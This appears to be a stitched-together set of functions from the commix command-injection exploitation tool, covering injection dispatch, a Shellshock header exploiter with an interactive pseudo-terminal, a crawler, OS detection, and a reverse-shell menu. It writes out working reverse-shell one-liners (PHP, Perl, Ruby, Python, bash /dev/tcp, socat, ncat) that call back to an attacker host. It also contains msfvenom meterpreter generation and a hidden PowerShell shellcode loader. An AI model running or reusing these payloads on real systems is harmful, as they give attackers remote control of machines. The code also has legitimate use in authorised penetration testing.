print(settings.print_error_msg(err_msg)) pass info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + str(http_request_method) + "" info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)')[settings.IS_XML] if header_name == " cookie": info_msg += str(header_name) + str(the_type) + str( check_parameter) + " for tests." else: info_msg += str(the_type) + str(header_name) + str( check_parameter) + " for tests." print(settings.print_info_msg(info_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. if menu.options.web_root and \ menu.options.tech and not "f" in menu.options.tech: if not menu.options.web_root.endswith("/"): menu.options.web_root = menu.options.web_root + "/" if checks.procced_with_file_based_technique(): menu.options.tech = "f" if settings.SKIP_COMMAND_INJECTIONS: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) classic_command_injection_technique(url, timesec, filename, http_request_method) else: classic_command_injection_technique(url, timesec, filename, http_request_method) dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: warn_msg = "The tested" if header_name != " cookie" and the_type != " HTTP header": warn_msg += " " + str(http_request_method) + "" warn_msg += str(the_type) + str(header_name) + str(check_parameter) warn_msg += " seems to be not injectable." print(settings.print_warning_msg(warn_msg))
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + ". " if settings.VERBOSITY_LEVEL >= 2: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: sys.stdout.write("\n" + settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = settings.info_msg no_result = False elif len(response.info()) > 0 and cve in response.info(): percent = settings.info_msg no_result = False else: percent = str(float_percent)+ "%" if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if no_result == False: # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) if settings.VERBOSITY_LEVEL != 0: if settings.VERBOSITY_LEVEL == 1: print(settings.SINGLE_WHITESPACE) checks.total_of_requests() info_msg = "The (" + check_header + ") '" info_msg += url + Style.RESET_ALL + Style.BRIGHT info_msg += "' seems vulnerable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) print(settings.print_bold_info_msg(info_msg)) sub_content = "\"" + payload + "\"" print(settings.print_sub_content(sub_content)) # Enumeration options. if settings.ENUMERATION_DONE == True : if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input(settings.print_question_msg(question_msg)) else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: enumeration(url, cve, check_header, filename) # File access options. if settings.FILE_ACCESS_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again= "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL raise SystemExit() else: # Pseudo-Terminal shell print(settings.SINGLE_WHITESPACE) go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell= "" if len(gotshell) == 0: gotshell= "Y" if gotshell in settings.CHOICE_YES: # if not menu.options.batch: # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: try: if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) cmd = _input() cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) if go_back: break else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") elif settings.VERBOSITY_LEVEL >= 2: sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except TypeError: break elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) continue break else: continue if no_result: if settings.VERBOSITY_LEVEL != 2: print(settings.SINGLE_WHITESPACE) err_msg = "All tested HTTP headers appear to be not injectable." print(settings.print_critical_msg(err_msg)) raise SystemExit() except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n" + settings.print_critical_msg(err)) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() except _urllib.error.URLError as err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) print(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err_msg: print(settings.print_critical_msg(err_msg + ".")) raise SystemExit()
def injection_output(url, OUTPUT_TEXTFILE, timesec): def custom_web_root(url, OUTPUT_TEXTFILE): path = _urllib.parse.urlparse(url).path if path.endswith('/'): # Contract again the url. scheme = _urllib.parse.urlparse(url).scheme netloc = _urllib.parse.urlparse(url).netloc output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE else: try: path_parts = [ non_empty for non_empty in path.split('/') if non_empty ] count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] output = url.replace(last_param, OUTPUT_TEXTFILE) if "?" and ".txt" in output: try: output = output.split("?")[0] except: pass except IndexError: output = url + "/" + OUTPUT_TEXTFILE settings.DEFINED_WEBROOT = output return output if not settings.DEFINED_WEBROOT: if menu.options.web_root: _ = "/" if not menu.options.web_root.endswith(_): menu.options.web_root = menu.options.web_root + _ scheme = _urllib.parse.urlparse(url).scheme netloc = _urllib.parse.urlparse(url).netloc output = scheme + "://" + netloc + _ + OUTPUT_TEXTFILE for item in settings.LINUX_DEFAULT_DOC_ROOTS: if item == menu.options.web_root: settings.DEFINED_WEBROOT = output break if not settings.DEFINED_WEBROOT: while True: if not menu.options.batch: question_msg = "Do you want to use URL '" + output question_msg += "' for command execution results extraction? [Y/n] > " procced_option = _input( settings.print_question_msg(question_msg)) else: procced_option = "" if procced_option in settings.CHOICE_YES or len( procced_option) == 0: settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: output = custom_web_root(url, OUTPUT_TEXTFILE) if not settings.DEFINED_WEBROOT: pass else: break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: output = custom_web_root(url, OUTPUT_TEXTFILE) else: output = settings.DEFINED_WEBROOT if settings.VERBOSITY_LEVEL != 0: debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution results extraction." print(settings.print_debug_msg(debug_msg)) return output
def crawler(url): if menu.options.crawldepth > 0: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth if not menu.options.sitemap_url: if menu.options.DEFAULT_CRAWLDEPTH_LEVEL > 2: err_msg = "Depth level '" + str( menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "' is not a valid." print(settings.print_error_msg(err_msg)) raise SystemExit() info_msg = "Starting crawler and searching for " info_msg += "links with depth " + str( menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "." print(settings.print_info_msg(info_msg)) else: while True: if not menu.options.batch: question_msg = "Do you want to change the crawling depth level? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "Y" if message in settings.CHOICE_YES or message in settings.CHOICE_NO: break elif message in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass # Change the crawling depth level. if message in settings.CHOICE_YES: while True: question_msg = "Please enter the crawling depth level (1-2) > " message = _input(settings.print_question_msg(question_msg)) if len(message) == 0: message = 1 break elif str(message) != "1" and str(message) != "2": err_msg = "Depth level '" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = message break while True: if not menu.options.sitemap_url: if not menu.options.batch: question_msg = "Do you want to check target for " question_msg += "the existence of site's sitemap(.xml)? [y/N] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "n" if message in settings.CHOICE_YES: sitemap_check = True break elif message in settings.CHOICE_NO: sitemap_check = False break elif message in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: sitemap_check = True break if sitemap_check: output_href = sitemap(url) if output_href is None: sitemap_check = False info_msg = "Checking " if sitemap_check: info_msg += "identified 'sitemap.xml' " info_msg += "for usable links (with GET parameters). " sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if not sitemap_check: output_href = do_process(url) if menu.options.DEFAULT_CRAWLDEPTH_LEVEL > 1: for url in output_href: output_href = do_process(url) if SKIPPED_URLS == 0: print(settings.SPACE) info_msg = "Visited " + str( len(output_href)) + " link" + "s"[len(output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) filename = store_crawling() valid_url_found = False try: url_num = 0 valid_urls = [] for check_url in output_href: if re.search(r"(.*?)\?(.+)", check_url): valid_url_found = True url_num += 1 print( settings.print_info_msg("URL #" + str(url_num) + " - " + check_url) + "") if filename is not None: with open(filename, "a") as crawling_results: crawling_results.write(check_url + "\n") if not menu.options.batch: question_msg = "Do you want to use URL #" + str( url_num) + " to perform tests? [Y/n] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: message = "Y" if message in settings.CHOICE_YES: return check_url elif message in settings.CHOICE_NO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping '" + check_url + "'.\n" sys.stdout.write(settings.print_debug_msg(debug_msg)) pass elif message in settings.CHOICE_QUIT: raise SystemExit() raise SystemExit() except TypeError: pass if not valid_url_found: print(settings.SPACE) raise SystemExit() # eof
def check_target_os(server_banner): found_os_server = False if menu.options.os and checks.user_defined_os(): user_defined_os = settings.TARGET_OS if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the target operating system. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() # Procedure for target OS identification. for i in range(0,len(settings.SERVER_OS_BANNERS)): match = re.search(settings.SERVER_OS_BANNERS[i].lower(), server_banner.lower()) if match: found_os_server = True settings.TARGET_OS = match.group(0) match = re.search(r"microsoft|win", settings.TARGET_OS) if match: identified_os = "Windows" if menu.options.os and user_defined_os != "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os settings.TARGET_OS = identified_os[:3].lower() if menu.options.shellshock: err_msg = "The shellshock module is not available for " err_msg += identified_os + " targets." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: identified_os = "Unix-like (" + settings.TARGET_OS + ")" if menu.options.os and user_defined_os == "win": if not checks.identified_os(): settings.TARGET_OS = user_defined_os if settings.VERBOSITY_LEVEL != 0 : if found_os_server: print(settings.SPACE) debug_msg = "The target operating system appears to be " debug_msg += identified_os.title() + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) else: print(settings.SPACE) warn_msg = "Heuristics have failed to identify server's operating system." print(settings.print_warning_msg(warn_msg)) if found_os_server == False and not menu.options.os: # If "--shellshock" option is provided then, # by default is a Linux/Unix operating system. if menu.options.shellshock: pass else: if menu.options.batch: if not settings.CHECK_BOTH_OS: settings.CHECK_BOTH_OS = True check_type = "unix-based" elif settings.CHECK_BOTH_OS: settings.TARGET_OS = "win" settings.CHECK_BOTH_OS = False settings.PERFORM_BASIC_SCANS = True check_type = "windows-based" info_msg = "Setting the " + check_type + " payloads." print(settings.print_info_msg(info_msg)) else: while True: question_msg = "Do you recognise the server's operating system? " question_msg += "[(W)indows/(U)nix/(q)uit] > " got_os = _input(settings.print_question_msg(question_msg)) if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "w": settings.TARGET_OS = "win" break elif got_os.lower() == "u": break elif got_os.lower() == "q": raise SystemExit() else: err_msg = "'" + got_os + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass
def other_reverse_shells(separator): while True: other_shell = _input(""" ---[ """ + Style.BRIGHT + Fore.BLUE + """Unix-like reverse TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell. \n---[ """ + Style.BRIGHT + Fore.BLUE + """Windows reverse TCP shells""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a Windows meterpreter reverse TCP shell. Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. \ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-reverse-shell if other_shell == '1': other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ "exec(\"/bin/sh -i <%263 >%263 2>%263\");'" break # Perl-reverse-shell elif other_shell == '2': other_shell = "perl -e 'use Socket;" \ "$i=\"" + settings.LHOST + "\";" \ "$p=" + settings.LPORT + ";" \ "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" \ "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">%26S\");" \ "open(STDOUT,\">%26S\");open(STDERR,\">%26S\");" \ "exec(\"/bin/sh -i\");};'" break # Ruby-reverse-shell elif other_shell == '3': other_shell = "ruby -rsocket -e '" \ "c=TCPSocket.new(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ "$stdin.reopen(c);" \ "$stdout.reopen(c);" \ "$stderr.reopen(c);" \ "$stdin.each_line{|l|l=l.strip;" \ "next if l.length==0;" \ "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" break # Python-reverse-shell elif other_shell == '4': other_shell = "python -c 'import socket,subprocess,os%0d" \ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ "s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \ "os.dup2(s.fileno(),0)%0d" \ "os.dup2(s.fileno(),1)%0d" \ "os.dup2(s.fileno(),2)%0d" \ "p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'" break # Socat-reverse-shell elif other_shell == '5': other_shell = "socat tcp-connect:" + settings.LHOST + ":" + settings.LPORT + \ " exec:\"sh\",pty,stderr,setsid,sigint,sane" break # Bash-reverse-shell elif other_shell == '6': tmp_file = ''.join([ random.choice(string.ascii_letters + string.digits) for n in xrange(5) ]) other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \ " 1>%260 2>%260\" > /tmp/" + tmp_file + " " + separator + " /bin/bash /tmp/" + tmp_file break # Ncat-reverse-shell elif other_shell == '7': other_shell = "ncat " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh" break # PHP-reverse-shell (meterpreter) elif other_shell == '8': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "php/meterpreter/reverse_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen( "msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r+") as content_file: data = content_file.readlines() data = ''.join(data).replace("\n", " ") print(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" msf_launch_msg(output) except: print(settings.SINGLE_WHITESPACE) break # Python-reverse-shell elif other_shell == '9': data = " -c \"(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \ "[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \ " __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \ " {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \ " __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \ " after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \ " __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \ "for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \ "for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \ "for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], " \ " stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \ "in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \ "[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \ "if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \ "for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \ "[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \ "for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \ "for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \ "for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \ "for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \ "globals(), __import__('contextlib'))\"" if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_DIR + data else: other_shell = "python" + data break # Python-reverse-shell (meterpreter) elif other_shell == '10': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "python/meterpreter/reverse_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, "r") as content_file: data = content_file.readlines() data = ''.join(data) data = base64.b64encode(data) print(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_DIR + " -c exec('" + data + "'.decode('base64'))" else: other_shell = "python -c \"exec('" + data + "'.decode('base64'))\"" msf_launch_msg(output) except: print(settings.SINGLE_WHITESPACE) break # Powershell injection attacks elif other_shell == '11': if not settings.TARGET_OS == "win": windows_only_attack_vector() continue else: while True: windows_reverse_shell = _input( """ ---[ """ + Style.BRIGHT + Fore.BLUE + """Powershell injection attacks""" + Style.RESET_ALL + """ ]--- Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Regsvr32.exe application whitelisting bypass. \ncommix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(windows_reverse_shell): return shell_options(windows_reverse_shell) elif windows_reverse_shell == '1': output = "powershell_attack.rc" elif windows_reverse_shell == '2': output = "powershell_attack.txt" elif windows_reverse_shell == '3': output = "regsvr32_applocker_bypass_server.rc" else: err_msg = "The '" + windows_reverse_shell + "' option, is not valid." print(settings.print_error_msg(err_msg)) continue if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG print(settings.print_error_msg(error_msg)) continue payload = "windows/meterpreter/reverse_tcp" # Shellcode injection with native x86 shellcode if windows_reverse_shell == '1': gen_payload_msg(payload) try: proc = subprocess.Popen( "msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: repls = { ';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', '\\x': ',0x', 'unsignedcharbuf[]=': '' } shellcode = reduce( lambda a, kv: a.replace(*kv), iter(repls.items()), content_file.read()).rstrip()[1:] # One line shellcode injection with native x86 shellcode # Greetz to Dave Kennedy (@HackingDave) powershell_code = ( r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode( powershell_code.encode('utf_16_le')) print(settings.SINGLE_WHITESPACE) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") msf_launch_msg(output) except: print(settings.SINGLE_WHITESPACE) break # TrustedSec's Magic Unicorn (3rd Party) elif windows_reverse_shell == '2': try: current_path = os.getcwd() try: unicorn_path = os.path.abspath( os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) # Check for Unicorn version. with open('unicorn.py') as unicorn_file: for line in unicorn_file: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: unicorn_version = line.replace( "Magic Unicorn Attack Vector v", "").replace(" ", "").replace( "-", "").replace("\"", "").replace( ")", "") break except: unicorn_version = "" update.check_unicorn_version(unicorn_version) try: if len(unicorn_version) == 0: unicorn_path = os.path.abspath( os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) gen_payload_msg(payload) subprocess.Popen( "python unicorn.py" + " " + str(payload) + " " + str(settings.LHOST) + " " + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: other_shell = content_file.read().replace( '\n', '') other_shell = _urllib.parse.quote_plus( other_shell) print(settings.SINGLE_WHITESPACE) # Remove the ouput file os.remove(output) with open("unicorn.rc", 'w+') as filewrite: filewrite.write( "use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") 